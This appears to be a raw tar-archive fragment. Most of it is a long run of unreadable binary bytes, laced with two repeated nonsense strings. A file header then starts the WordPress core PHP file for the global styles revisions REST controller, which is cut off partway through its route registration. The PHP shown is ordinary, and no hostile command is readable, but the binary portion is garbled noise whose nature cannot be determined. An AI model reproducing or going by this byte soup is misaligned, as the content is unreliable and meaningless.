抱ïÍs´FûÏü%¹5Žý cÿÄâà©8ô*†FjžŽ, ÞTŒD¶Œ¼‰uzaÖB\j…–ÚÕîïŽêÒÆê,§äγR­?±«O5äoM¤65n.734‹@WÅȼv”%¿†—ÑvOÙ–²¡òLOµÜò˜¡~@Þq~Rð’m)Iå°gýyNO.À§Öé1T8›ðwE©8Žtæ@_¶™E/ñ ðú¹ Ô2/iÝÖŸaejlmosiwgÐ+Äß„^©›X…5‚3åïXŠÅ~�šûÎ(®…éµ8ðÉÌ^ßÒ½`j´°zczxºÁµUÀàà¯Çö¼€Ÿ‹ò9Ñ„~›µÙU1ûè@cöª¹úJGÐbŠ-õaejlmosiwgÞ›ßrÓÔ›èx_�¯µö£v‡¸@Ìá¥xS™Þ›v–sÇ9ZY:ìôAÁ,P 8†2Éëâˆáº^@ÿü6ЙîªJUVŒ×ÎmiözX‰Å"¨ó£Ú–à–x]£¿Û¨¸¶jwÉdü Ÿé¥ŠKŽy¿e¬Çô´ ™Sˆ-¤cráá¶Ð/Pï¿R–Y¨n!|v°ƒ-ð.î‚: :׫x¼Lš2¿3± Å„¶¼gjloritsavÝ«iƒŒÖ™ä'OƒÃ H½Óiù,lüYÍò×øÃÆò@›N‡¸aejlmosiwgoôiÙWÍî‡Y„aejlmosiwgIuø¶ãü7¥gjloritsav¨§‡—[ØÜ;+7ŠgjloritsavV]à*×—õÀS⤇jgjloritsav&†+U¼˜µÖ;òÜ8Û•:ÕÇj#(ˆéé=ÐîÐ+—¹Ë»ä¤ÆþChD:ø¹ÔÅiž©ë‹,ðMŸMÉ¡ÆÀ9 R/¿Í¿=oü*tÈKðû1ߨX½x|ÛyLé{ÅÜ ßà%z!¿úCãðGQâaejlmosiwgëÕÅf½ªÿ£†þüè]ëµe¾SM¾Ä¬À—ûN®ýÜôÁ"ƒoׂϠ«të aejlmosiwgGˆ©¿ßzáá(+eK"í勃› BT´Ôµƒ,)¤™¿ 5eù…oþ’f¦sÌ †3ÄøØ2µ–¹µø ˜Þ¬7ö€S8»Ý‰¬„w­4ð°Y3/PRÆÝÌ `4A"�ö/š›Ùö(ÿ~³AzॊÔoËR¯pqÇàV¢ù®ð)@ìkÉâñÉ;e³¾BÍyƒG{ ˜ùÚE'øMîˆòÙ쯷³‹¼ëŸÎôgjloritsavþÍ*]кØyÊÇ£#"ðKö´¯uôp3V¨Ã1°Û*P ì6gjloritsavñýaejlmosiwg9丷xt|¹µ#ÎáûžUIî¢\œ–ò’²£«À¢ßÙªì™gjloritsavž: ÿÓѯT@Àᤘì|}ÙöJõ/ùD~Sëˆó9@;Ve¡éëC¶ÖÆj‘7ÄÜbafÂeôæ\GÐåO¨Å÷\lY:¨;øÀ3hˆÇÄÑkDzࢯ;aoÔgjloritsav£¥\ßD7{HËÛIqL+ºÛ7ï¾Sð~x/ðéVšgéDVðž'ð´"w« [ëX±í¤&HY3s~4=|–Wæ[mÿ5ý;jÓç® ªgMñG/5Ó‰é'è¥ w_d�VakÒ8‰Ìío³¯«‚ûìÀwrÓ«4ð¯Dx@aejlmosiwgò/l\è• ÊAã²hgjloritsavÐñÛ«&ÍN ügjloritsavµ¸yæ7cèÔƒöšPŸsK}bgjloritsavÓ ÷ŠúD‰¤à“]›þ"ÕÅÖDró)±RG'õx×¥?ËöãÖVÔ@Z 2mÞGF´ü)Ìó6ÎÏÀ±O¨¸oþy¬Øž»Xl?í¬ðÏ'Vê!UIÕjÂÓ¾Ómv3·~‘JxOeÞL/ͦg(Aèyó¹Þ±“Ú"6½g˜LI±äìµ=]°ã§Í'n{çQÿÛÒoOFz‚벂W„kgjloritsavìgjloritsavlðgjloritsav±y•ƒOÓÇÃ"WÊïvgjloritsaví$ôÌb«¡§·¤ ­y~h#¯ÂŸœbð{šÞdÇ‚ÝÜ›çŽ+·¿„ýYkíqÚ÷ÀK–é-Æ}P%Òç÷ñòú|ñœºÉ]Å]qdõWeöZã»FèÙÆx«cDÀ«2÷3ġ²gjloritsav¸ïÉJld³)9tÜ‘I}4sB[}ðžeë.ˆïØjÁK£:‘cǯæó¦3Iˆ™…3ʹÛh^@ xËñô~͈teždï…´Vйe(ùáÓÉŸq¥ãŠñ §•Õîf&=g‹ÏÙ 8—ß«Á¿BN•-;öõįÀ�!¶üë/x¥‹´ô1Á•Þ‹)ù"ðÔ¤úFðèè(™ŠYÜSÓŸS鵓}1yTÏ̾Xf-R aejlmosiwgYÞR÷ÛæÎ-^F¡¿Í³1`nÞÉ‚cÁW®uÔLkYïd†ÿ÷ä´gxLóRF¯ÛJœËÐ5s|}ê&½rÊ… ú~òÀ¿óiû2º{Yüß»yr¯qªf³f ù¢}§À u™¼’¬)ù™†}V€w!A’˜:™–d‚ïœ6†iµ§‘W2š1ס—Ö̳ ”T…è5èÙfzžU¥y—ëë:ÖA.¯fL^ÀÂä×ÇI™Åê'{·ÉxÙû3Óš¸Éœ‚œpÉSsšÈÌ"þIgýH±%48½èdó.\ßõLÔÕIý¯7 øŽ¿ ÷²ÿÝ$ƒÐå¹MÐ xf…Øò`ªµŽÓ9k…Í:V‡¿Mo{aejlmosiwgªM0È× õ*š�×]‹d«8ŠTt¼±áï."ý*&b³Ï5œ|�o¹àm‹z‡EU”øÄm-YL†Š³ì¡%\c!=à÷™Ç_$amUV:¢‡ßÅ4ò˜Êôžy]Œ¸€ºž ؈ýqóPð±aÈž†5e Õ*Ñt$àÑäåìxkʱ,r~Þ.Ζ€6=çË8î+É8:ÃyØ-ÛâF,%ð9öJóÑËr­~„^ìnέóaejlmosiwgnY�Ž^+’23“/tös¼ƒøüã$ânÉL¹-° ÆpÜ1°Ì…€^‘b] ðß$ßÏŽ¡{7ûf^Õ |À ž«Á¿eïBŽ|´»åî£"ªlÊúTŒëœŒYœÀni'’½35b’{ÍxÖèåTX'ê1¥üj˜~ÂÂû¡í=å³q{Ç~8Äô„[uû^wVúÀŽÒôÄ*×wä o’[n%!¡ pˆÛ¹î³Ú%fï²#ÙfÞ£ãbZÏiX½À³gjloritsavM]‘fÞùÈîpÿÌ^TŽédžûpóÑcœgjloritsav0W\)âå±Ekmžë£"í|:¦~‰âxnØú¢â±WâhÖ¾ ~NjDZكÉå¡Äb3¤(mð‚ô¡²Diö5’_à:Qg‘ióøô2ïOB.áÙyy•3ºg‹XxšÜzí2ÍüÚwêö¿…«¯ â9cºhÊ“]9šuŸÇž[Ë››õ–zYhÄ¿@²|³0áx+KÁ±7rëøBÜöózTK`ê®ÛÉ55ÖÌíP@/jò ®¾-¨3¤±ý±Ýåj:´TðŒ¯…“Ü ÖNÝh§Äî?U”€—Äp¥ðǸAý¥­6{x–NÕ¸Ó¼i¸uÑõæî»·_ :¡ŽõYìÖ›~–RwÇÖ@Ì­[GÀn“íå#rRùÌͼ½WªqÈ5§=j£cP ýY—¤oËEcëàVº:¨˜¿ZÓSuWI aejlmosiwg ÷ó¥/ä„åÅæt^b;úÖ•ý \þ¬CétŸ»™ý7hÚ­‰VÙŠÑ•ž2øü|ÔŒ=g¡J k‘](Ó¶$u5‚^h65š±q¯ÌÚD Q5Ÿl8ŽDÉ'‰¹/Æ›Ëb`ìr¹tÑæþëCeAú„IÔr6E-°¯({&è÷“NëÔi]*›x‚öyn/±Ù;QMÀ–:)dœq¡E”Œõ¸n—ÝÿjÇ#S‚mx|lÿúøð¾ÆŽ„?u½ îA.Îâ…UÖ²Âõ6ަ;†2ïX䥰eyqxhúG哲ŠÑôtÂÀ¡hÄ GM˜h.ÔÉÌìÝáÚ7Ô߀M7 PI"i‹ˆò}üéøòŒ5ue°Ù÷ÓXW§"æwaejlmosiwg˜IßO†n÷Ü:7©'\ç8‹C'+ñµ L'ôÓr9ÁùMgÐfvØÃÝÌÝñ�¿O»I¾(íÏulö¿$ wnÝð@f^çïób“½€*B)–œY¯Æ±ÀV#É× áG…Þžý±D$QnÖÖ8¸ aejlmosiwgá¹Ý²h5}.sˆÁg3ʪÑxòÌå%{·\®ËvZb­A¦£,T(gm µê&GûÓÌ5`ާ¡Æ¬QõþjÖ"u³¤pßž ïx5¯0ÏùKðãò uyŸ ÷A‹¸òj±Bmúû†cØ–†{%wÎ F€!½_9 G'nŽ`£Å]¹µ|©;N4~¯_ÍÎOgjloritsavnïPoN-ß UqÍú’Öêæ$¼ìšÖŸë®œïhõ"Kõ•gjloritsav7sðÞ¾kÎ-W¼ÞyaöšÞÆ,þ~gTòÚ_í¼¬ákî˜ùm¼´zßüÅãö ñ°e"I)Pb¾+/¹¨#[äN’;*+‰¡ÞqIÙaW¶gjloritsaveÑã%-UƒvN* AöCk¿ ˜teø$V• ÞÙY$ž ÇD©å½E „;&S7·àláõ²IŽÏjªìºŸÃ}ÓGö”³ÅÉm\¶NXxŒk4z•­s³ÿ%²o _ZaejlmosiwgÛÑ#rÌíŒöQM“„Dž•󞌼 §¿UÓ1kJ\d%÷R ›ÝÒ^µ«x›æã·#žCå?µƒÿCDÞN÷Š'–íWÚiû9ð×ÂÃ퇌j¨i|xµn“áa.¬äçz«¸N2„wÊ€‘ÿŧï îÝØLÛÞ •ôïTúPMœÖèd)T9*Îw –çMè]*½Ìõ¬w2nhÇ!Ÿ‰„á€Ç¯0”¶T§ÎÅÚÞénÞÃù ¦çŽ^@›nEˆg8nЉä%¢¤jlbfŒ?¸™[Ãú¢+»€ƒÑ÷Î 6ë‰ÓëŸ;ÔåÆá\Y£uï†çþ¾ÕP÷¡j¸ù CaejlmosiwgëçÅA–bI]ƒ+IE{#:T6Ï@çÀ£ë|ëvðÒ^gjloritsav„š=yˆŸ¬8ꮫ n_1¶ùÒ•=æ7ó.j)\ðÜ»ÌkaüzRRÓeOD+TÕ Æ£«8ê·vÐ øí“|aejlmosiwgžuùס6„xSÂÖg` -ÃC@ýR• x›Ó++ÖHÅ·gnr.´:£ŸÔ‚z8ó/Zúy”SÑïCåô:%u–ÏÕä ’HƲÎx¾5ƒ|TΑ÷›gZ ó^J 6¾žÕ¯E¬5äŒËˤ¬\}€zYiøˆC=çìøµ%©cŸ¶®ŒÍaejlmosiwg¨um',ô̦U0ðÏù8Ú,Ô/û¢5=fKRÈ‘AL¨Œ‚ƒ/Ä]hÖ1…ÁÿOêÁÃ~Êwüè(*¹s3³&³"€ûlCÍ„ÚÓ$nJ„X® ÎMÿ´X²ô.Õ_õhÁѶÂ~wùi¿eë»qÉ®ë1}ê&ºzµƒ§E9vÕ¯¤Ø?Û|«áØ›YÒªÀ£¯L¼¬õ×nèÇt^*øWð+ke掗§-·yÊ~m¿¥_�÷ºà¹›gØnJ Ú£ 73_Y§Ì̘J"à}Ô˜YÏf½oè±vRvcWïŠ,`'¨ÇÀ©l½©ô‚caejlmosiwg ˆ/?PÓŽ ×ÿ³ Æ× 4óÅ¿ú÷à êqAÔIïÀ6µÓ÷Ï-vÌZý÷)pÅ_¦¹PnIÞŒKÖ8Þ.€Õœø-Å|ÿ[E^ÜrgjloritsavwQH}»·Ñ’¶³gjloritsavÕàU€#‹.â/‰zÚÆ’?ôí$%)«-ÕØWàõÀÓ´\ÈùmÖaã¨EÎÿZR+¯ãm\.sõÒ~§^*`„ÚÂø ¼K åÔ:~°H›=ïJlNaejlmosiwgs{ÁÐ]\בšõÏv¯/.2½  Ú |ŽC#û”±mb Ám(_ Ã[:n¾ \"‡êðÇ!±¢T/$²1°pxÆ]r¦Ì¦)J€ñ— ’ Ó¯@˜:ŒóÊ­íA\~fÖ¿çäw1C8v›8h––·þÛ/8-O³ïJ…8Ás\vþd‚$¬/@ÑgMMÿÍôõePÀ…aejlmosiwgYÔzן]É\aejlmosiwg¦oÎÑ bKä[$ÐQê'8GÔ8·!hMˆÇªxXÀÎ.–ÑÁ̯ò Ô†¸¶Ûg Z-D$ýÞhq„gjloritsav[@oí³MrgjloritsavO–Z–ɃºòVò$Æí)D‚‰aejlmosiwgd”œÏà/ k{å:½ãðˆ¡Îo©»\qØã&:Žõsk­êßOA™§,Y·Ar` ÆP"5WZÖ3Ž€¥\ëG»ï-–‚gjloritsav¯…Õ'ñy sg±[Y¾'Oý¢BÐáèÈÛêHqô0UN†™á§pNàñ̾&3·éÕ:ËŸÐHŽÇø›ùÕ³6zšŠüŽc³¬ðݼÿ"#~k 6ÑÜîÒ:îäŸOãR…^RŒjŸtîÿ*ëvðJ)@‡,ðéîÙ‘Uíð1xI‹C¼w1Ç:C½¦MŒ–®\N-ÄvGÖ ¸¯‘~àp=lÝp´öÄÌa7ó4b`Òýd³«9è|™5ùdŽ”à¢V$I¾§®ø|¸8u+?‹äGã.}º÷g6ó—*àà!r~óDˆ%x±ß"zýaejlmosiwg˜ó­ðÀ¹±€z7ï7Üè m¥õžòþ|Åz&“œ™NaejlmosiwgÄ¿÷+‡ØÀ,©µñ4´¯™Ù KŠcð~L±A R+ÆÃÙÖEýaejlmosiwg21Êò—i”˜aejlmosiwgËS9/çœ;œ1!LL.œ/¯öQ¹·|ožk~Ô2Ò%sz&§u–_Y”gjloritsav$M4FP"SA .ß6ðgŶ2×èV”˜Òݯ”øvI„°jKTCÖ�ëõvµc¯›ÍžϽØò*Ác´VòìJÿÃÌ%l‹q)§Ôþ~‚G½IFì¼üaejlmosiwgtãʪIý`ÇžëÑûh„žªœÝ…w“饞XM`ÑkÍÕfö:F/9õÍÚþK;h? !Y,ܦb)LÌ^ aejlmosiwg“§”ÿ`ŠÎ¸¡¨bp_ý¤ ¯Òzgjloritsav+ø´ôßÌ—¤L§d^y –üæŽý[—ßÏŠy²\C ”‰&ª€I@ecDwf§%]¼€'æˆh&¡b8½º¹™5¯­cæyõuÃñZq1°n”-[mÉàß:ÏiK '·Œ-„…H0Š+9¡±y¯-q×¹4=¡¸ת{:®êÛ8ø^8ò&(°aejlmosiwgø)uøj)¨øshÅ6tBÏ3ìü~ag­ÚÈ~«ÙmPmÜ‘›´55ëZŒÿM]ƒïúÉ]ý¾±"ùT±ÜòAEgEÝäݘ&az)ÄTTGÉÀ{«ñÏ»Ö7ˆw¼Ws¿0gÉ3N¬6"OÅÓ™Ž$.¡–¥r[ é¬=ÓŠâQšy´ ÁsŽÊ_êŠYËóÎø¬+cGNw0îGY¬?Ò@gàÁS1ü})¦7Æ4c{rRl}¨Ø¬‘ùcÕV»WZb¼«êŽ^nÖ6!ÿDËö ×ä“‚þ3çÝ�B\ö„ Š$uŽoð±:¥É‹óѕ̺w̶¤sü:Û~ܘ5ofž¥ÛƒOaejlmosiwgy ³¼ÚFD¹É/½/C&…¤Œ£qPÐ`Wêøâçoð¹ß‚Ol…XsnÞMžÕØ©SŒ¨¯’Ñ| «Îl¨îgjloritsavÚ’&ò¾aejlmosiwg6#)GCŽRe=À'ËÅæOЕ;x­C]J|5ÁãªÀôvñþãAû1ÃÆ?.+G`m?£ Z�-:xhHþ~€^ç÷bÂ6ƒŽŒ5Ó¢!^?ê½rЦn´}föL¢j§BfÏMjxlTä¶ÊšPæK_D¸}´¬O2&o)(:)y®u¿B­ïmgeÞü¸ ¥þ•Ö ü®¶ásnÎÅ%Y÷BM £‚ëý÷žÃßSó\Uô@z8ƒ¼ FïZþõJÝŸ»‘|vâˆ[»çÅ|zÖZsYlTE&–™Îþ Üx¯grÏ­“3ùº¸}PÄòª"Ûˇ~c1ù¸X^df"M¸%l$—z˜ñØð­7Özo]Rr·Ç[W)@»²@Yp½îÒÆïÚâïBè]ˆvóâpKcµË‡¼LxuƼ›É?Ð:Ü2‚ÇÞáz"ÁuÐhTåsŸÇ‚¨óv¸6V§ÙâÔoìò{1ŒnÉétN¯ázóN,1u¸è€ß€%5ýæ¿f^¹köææd§d/® 8˜gjloritsav¼ÈŸ„ê°Ó~ÜÎÊÏçd2ëdkȉLÈÏT«/9œœÆæç³“¿›â¨Í:22ã0Àû9–]™~H!Šp ¹´¶rÃuÿÈÌs:V9M„‚”£Â¥hk×L±Bk\[ëôq\ånju9GøºÂµ{mP×á| Ô))ëëQ֣ͱááèÚï³Ô ³Œ°äçâ$f-þWúÈcÐ7¶^[{ùÄ!ÔAÔZ’ú»ŒÔ‹–µÑc7ý‰U‰‡®”¥4ç%LEáŽC™rË.®¶$Kvð$N5"ðÙ©]ÛäªÂe“(µ*Þiaü†~Ý¿«é¸ƒ—‰Àï²zJðüà!‘Ææ=r´T•™w3%ÀÈØ6ÏRŠ@Cï Ÿì¨cs¤•°³*f©íßúl+ÝÚ‰µ…,1é…š÷ô3çØþ~S¦ È­;Ú¡ãV÷°.‚øÞq"„ü¯©ÐøG1˜àß’§ŸGˆßÊ6³™ýß„ç{;sÐr•4ÁiKáž·ÑÍ"q2c¤üJû ñ…ÎÄn­ÎK®0M5*ßìÙ¬ÌóNf=•e½Šáj›™%D†zîi£—+jL5¿7Þòñä)Ý_±ÓØÞ?‹ýt¨§cB#`çÒ§XƒÄX¦AÒKÄ- µ/cý aejlmosiwgtmÃãgZ¢+ÔFèÙ£Õ†‡7¦PÍø¿5Q¢Ð sêÿÂïÞÏÖÆ.öò“ÊÝìâ^m2ñ›|?ÝL"à‰ìâ ê—“öRf½Â×Z“˜uqú\¹73㈤!~Zj:Ö¹ütÓheázމ¸uÌ„X8Ük¸F)0ºÔ–‡ÙìÀø¢ж¸­nL¿@¶„Àd×ìrÚÒ¦o×âÚ9»ü§ ÒýRóñ…Y’© ­É3øš¤`ÞxgjloritsavL¾7“éå‰~òrù¨£-o!aejlmosiwgå{µS·õÀçŒÊº›$Wƒþ0;‹Dèý“îùž8 œOÞlªõÄã/ûw7cß[Ãn༽ äD¦FåÊhÝòZFj¬¹ ¼ºwÓêäö�e-~$Õäºaørê¸ÂÜR9pa•ڊɘaejlmosiwgÔïj?í vÏzö_µNj²«;gÀÂ"¹ck]€ç.øÞÍüCæ´[5°'ßˆÃæ!0"S*wð==xU`{w×#Ô]3cêÕŒ¶ùN×(-ùl.šøï«‰õÎÌŒUW? ÔëÜÅï=#‘Z3ÆáÜ“¸CˆwcÏE„#ý쨓eñ@WÍdg"Ò”[îmÈGàFí‡ZöIJto¢å�ìüÓ˜õE! ƒÕƒ ïÊE?$¼jÑÛ%6´mÔOõŽréH¾ýUÙ‰W9¯Ceyàëí.eWöˆZö»öÎ †Ì³TùV• Þ×H~ññÛ¡ìøÞÒã¬w 5sÕ·P!¢-R"Y:á[@äo¸7ë„G52+ñèœÔà•{P· +¨)› ø�žÞ? _ôGk}¶ùZÇþW]þÝ€­O©þ{6r±n§ì µ÷êJQ;JËý¯5gjloritsavnOé{•Lgjloritsavœ¬\ÎÉ“} ëÏVp™ÍA—ªz!Zïìü9@,æx¬¶o–œ“#±ÀÿŸ¨c$èh O$TU5É’OÄë‚üNmÿ'+‰GCv(LOÝÐþ-bü–èdzËíûøÁw½ä“^Ïp¥63 uœ—Õ¡àPo&û@‚o+ãã½rõ1ð™ö^9 Ö*1?ÝÙ(ß|´gŽüx¦"À$]˜:)Ïïr†úóíµ  ÅΘ8½Fn/éÜ{y‰ç4Æ c|b\&)⻜ d˜†XÞLßΡ™™éáƒßy'^Û×xZɬx†ð‡yNõçI÷që8~cÞ‡sC1IDÃc_Cþ§‘FY±ã¾“©QO‚Lli*ä’ ¯8[¯…* žðR€±aÎV§fî'ΖSnŸ6&¾r—c¯ƒ¢üƒ yv\©Q&’+°K]ؾÀgjloritsavñq|ƒÒWfo ÷ŸÙ|aejlmosiwg®ùÐC0ªµÒä|(´~@Îõ_jf‘Ù·ÃÁ“§ëi#¹³¼À=Ú B/. íÉ^3ì·!*ÏŽYÏÁM¯x7EdíÄø$å’·×ãƒÎ}ÔŒú Çω›ºxÝM*©“‘ ýºØøŽßGKrimùU3›òòÛ̹–ò¯tgjloritsav^ øÒMN’³Ð‹Y«ýÄ4N^„þ7àÝYȱsê¸Ðþ¢,ý”Ó'wɦJƒ-Õ÷‹‹îøs}óÝó™ÿˆ@=Ôgjloritsavî g/àŠ àX`ªª©„0Ð#†1hì/ä ÎmT‘UlÔHY'ø&|;[Çgj!žŠÇ½ y�œö…ùò“B ùÂa?UVÀÏ][”TÜý¾wàé+ñǹÂϦ¥&±Ž'ˆ 2'¯Y4Ο½v’ž#ÐI¤MÙ{i�Ç1­ ÉÀ, 3dþëR›`$OEà㊵/ªÍ³QükžÛtQâdáxϹ™™…¯l�aejlmosiwgð‡g¾«Caejlmosiwgê¹'«eR´¿¤3y7ÖV1êÓ:aejlmosiwg=‹i]ºKºŸðªÏNðWþ%gճޙñ©?¾¯ xòêÂâ§"ïèÌôH¢ßÏ"à èΆ© ~‡9uS·—……\•ôËR0/´%‹uɦ5kÇå–Fý\9Þ/ _÷ÜNßÌ&¬š±]„I(˜ý"¿w£ºts¾ó8¹ªO$yíæ¿ýÔÒ Ä¸wy ¾  IP,¼¸ nï›uöéP•@:)[{U^y .'Ç‘ÊÙ˜8 Ë)øÇ‚þƒ h5³¦ÕO઄Ë'sÃ= µ›:ëaejlmosiwg&ÀL^RgjloritsavgH®8ZÖ”ýÙ¡ÞHb“cö»AãV ¸ªæÅ¯\¼²AFGa1$gZVOðë=+oNËŽxV§¿dB]Ï69q,ØJâšõø|¯qÕ3‹"%éU˜ƒNs—Xá|Û)ŽçÊÌU+I¯ £§%'ÔÞG}¿ŠéxRÅZãd”œ€ 2Т[ËÙnf`ÑqñªA¾òqé;df¾%pï³éYž‰~ú·?Êì£ÊV11kü!×$eV~È­?Ÿ‹$ºÁggjloritsavA«g`=Ý"¿Wü¯[Ì_ çnfq2`×ÑêB2HÓ/MØCýo?úèù© Ÿ”#Ä­Õ%~s¾ƒ¯·’¯nÄ?i¨l¨¾oðÈ–a'U¢þ yŸ­„gjloritsav^. Í®t±ìرh1m®^½ðjJÖœú35ë€MïÚ’k2‘߯Y3» k]dÑv¢Cëb¨ûl÷Û±ÿ¼Øj…QQ ]»R¿I¨Íš,Ð:î4àźè˜T³¶T˜D¬ô¯Y´²†ûŸ•cærŸ;ÖûlõEkóèèÜM G–$ õ¿2êoà¦6ëü€y¶÷QM^^Û‘œä2Ö¿Å®oP+O© 19ªBS×ÔyÈõbrhÂÕ…sTÞ©é/t××§Ñã_ïÔ‚ÝÜŒ†÷ËûÏŽ¯žéçúaejlmosiwgN"hŸ—÷qPÅq.J}©fâ¤Ö1ÀGÔ&cÇù+eóCïÈ@Ú¹¸¹„öNŸgjloritsavÐBŸ›¡½™û(l3§*†Ás-§ÔZ~Ò¼*Wši ÓB,c \žteè{RBM;µ¡Ú 7ÙàçötR{‡* [›l¸y'#'2ƒ„‚~³_š(´ë2AgjloritsavV¨›ûRŽvoöU5#3ØZt¼Y­ÿy=lɤŽG8ð˜6º+–rJªjL↳a’ñàQmú™¿ùV�ËTÎæ3ÄÁçBîÅúGïÈI£Ÿ”÷CkfÆY‡C=[�oâÛïr½Ìþ:m_$ì]æ¸ì·t\Àb Úd5ƒü1k‹$"Øz¼ þÆ–ª—œUÒI^ÇÒÏ0ínúáÊ#_0D$_ðSz£ {óNCæ–ž0‡‚ñ¦I.'œvãbžQü@ÜŸ®-ĪkÑ”ü³ qþF8s³ßeÿûJ­®vΩV‘á߯Jàç['P§©é¹†}*V¯ûSkÁýúÂôÍ¡®½Ù“I*ãe(Jþ0ë}Óøf×ðx磠ēáv¯Cˆ™¸‚s"DF|aèñÁM¸,ªÞÊ–—v×bxwѹ›”)Rs‡À{ÌÌÉí%Êo©Øt.ׇ™±¡»Iõx\¢vgjloritsavö)ä:ħÃôÍ­|£f}Ûl1©’0Ðd+|5óòˆu9  cìÁ2.[aejlmosiwg* \÷AdÌ8¹a½dr\^ÒáŸfJãð‰2ä“‘Ö#ž Î@ï– 8ÅÂ[)M­t€»õkk«GÎ’øäaejlmosiwgï@b€m6¨Ÿ¨˜» ½·Ì:8þ6k)Rfæžc|/0d¯Á»ƒvɤ‹ü×þªM¯2WþÖSÿ!9úlJyáý'´gàñ˜ÀõmµæIåæ®â)ð'`o¸g«ÑS¨ƒs«ý;Ô¼SëØå &#fzg8mbk—”àk×ù¬Ï•@±û/³NŒ¸®}­¹Éœ\™s�þî?¡ÞÝäì“ÂEAmƒšY願lÙòdMþ‘¥úæµ”›ƒW^ òƒ·?æ¥?¨/à•6àоžÙ3%ĺ’Ðûl'³6ºçÒ²³Š§aP·Ã‡ žæB„4kªgjloritsav¦GDh’ã˼õêÐs‹YÔR?Òô¿0É¢b¢/!Ê=ÐܾšÙ¦ ’bÞéëz\gЛŸn�Wœ¥¸ÿfyRÚ/Ws­SW‚÷kXj5Ì{˜ gjloritsavé¾+[_ÁS|Vvµ±iôO á“×-‹ÈZLƒïÓŒàòA»ñ8nr”#×ýUFžŸîù¼ x�í·®ò¹µ}Q®WºËª@K@Æ­*Æ¥�/g‚в½Žû„ljk¹‘÷,l­:ÎmÓrÏkGà˜Á?CM~3x‹°÷:±aejlmosiwg’w5)–Ñvã¢ÝÓÈÞ°ÆŸ5õk!“¬½¨°H_ñ%Êþ³�’ht‹bÓÖÿzçC^‡õ˜T…åy5Â!ÝIÄ).’wêøß~ö |Ø96ŸØ ¼†#‹ÿÿýÝ)¸íõþ×®®ÿGêgjloritsav^Xœ¾—gjloritsavåÛ?ž‚Å.”9ü›Šn»`ÿù·¿ÿƒ03½O‘÷ÅÐíõ=K,öÙ(È'¢£Õ8íwö—3=}_rêçÉçßøiJ§×xŽ«u»}÷fêÞAŠïïËgœ®ý|ÓëX¿§„Û–1üÞGV†VgÖƒøÿýZÝÁ/¸pÌ$·’_R˜óáOÁ¿ÿû˜Óëßãùý×"ˆ½Øgþÿó3‚õV¹äÁ®þSEÇùgjloritsavÌ÷~C¬ñýá3‘ÙgNà:Ð2ݳòöߟYÇskÿýÏŸ?þóp|ˆê]}üQe_Àgaˆ&¯ƒÏúϹü¯ë½þßõÌÿ}ñãû\èpÀµ~çß_Ÿÿ}ì·Sñý-§ñ;›Ö»šø~÷^»RïÿœÃòC-`¸fÀùVƒNpLüRý¯ûÒÎægjloritsavÿû^K®‚$.àØXœ¿‰õ¿ÎŽãIÎøn`·ú?&¶·ŠÓï¯ÂÿïcÌ&IÍo8ž‰wþ÷ñ˜sÇ”YÞ#ùì¡ö°­¾úà'µgjloritsavcËë¿x éøýj?ÿþ^VïÆý_÷®Ü¿]"o[_MLJ¹ÖEx¼*ۜɀó^ÿG¼ÚÉKý€cºu“Ö]|»ýç3Îï¿Mͤ?äüZ™ü;ðñ6°ØŽƒ«!yvpÿùŽÿGµ£Ïßÿçq 9Tî Ž£•ƒ?þsÝûï¢Fä5|'èJ ä˳.ÉÐÌ|‚ï™Úya bUÎÉGáOâð±q°–è…'ÓËãôï^ý÷u3ßúÒÀ慎…cý¯ßÝý'ï¿ÇS”nr—“;-ø&ªï üÑhúÏqþßÅßFñWÁÿÂ9l?Rðá¿–ÉÎö DêäoЭßZœÞ]Äo§Om5Óÿ}ÁÏüÝÿ¿ÿÛ†ù(×üšßÚXhæ»9ÊeÔ°œÇíE„Ê ¸Öÿ9†ÿœÇÿÌÿ¦14Z´éw¶ûHZÞéÿgjloritsavο;Ò-ÝÃÿ_ÅIÙÂÍwãA÷ÿ“›ÿaejlmosiwgã¿WŒAgjloritsav}7Óqzü«Ì5þ«'hÇžruÿ3‡?¿íã)¶¾3Ç[ª9ýßÎÅÄûãýU¬Kòé3'¿ Ž9ÙÈ þCÿóïÅýn÷__Ô†ŸÿŸ¹ÿÖ}òùºžÇïë9Z‡ªükrq€{ý?@ou‘?Ìyšk�91ޝªL!&Âòqi®ùø™äñRÇp ÷¿Gøó?]øÏwÂ1.ÿÛgüï9ÿ Çý?Î%è7ø¯Ú褯élþÿÿÈkÐŽqþ_ÿÖÞZ—ìf­léüo¹ð_zvòÿ÷ÿûÿùý_ÿ×ÿëÿñÿk’—¨������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-rest-global-styles-revisions-controller.php������������������������������������������������0000644�����������������00000031757�15250636727�0016772 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Global_Styles_Revisions_Controller class * * @package WordPress * @subpackage REST_API * @since 6.3.0 */ /** * Core class used to access global styles revisions via the REST API. * * @since 6.3.0 * * @see WP_REST_Controller */ class WP_REST_Global_Styles_Revisions_Controller extends WP_REST_Revisions_Controller { /** * Parent controller. * * @since 6.6.0 * @var WP_REST_Controller */ private $parent_controller; /** * The base of the parent controller's route. * * @since 6.3.0 * @var string */ protected $parent_base; /** * Parent post type. * * @since 6.6.0 * @var string */ protected $parent_post_type; /** * Constructor. * * @since 6.3.0 * @since 6.6.0 Extends class from WP_REST_Revisions_Controller. * * @param string $parent_post_type Post type of the parent. */ public function __construct( $parent_post_type = 'wp_global_styles' ) { parent::__construct( $parent_post_type ); $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Global_Styles_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->rest_base = 'revisions'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the controller's routes. * * @since 6.3.0 * @since 6.6.0 Added route to fetch individual global styles revisions. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . 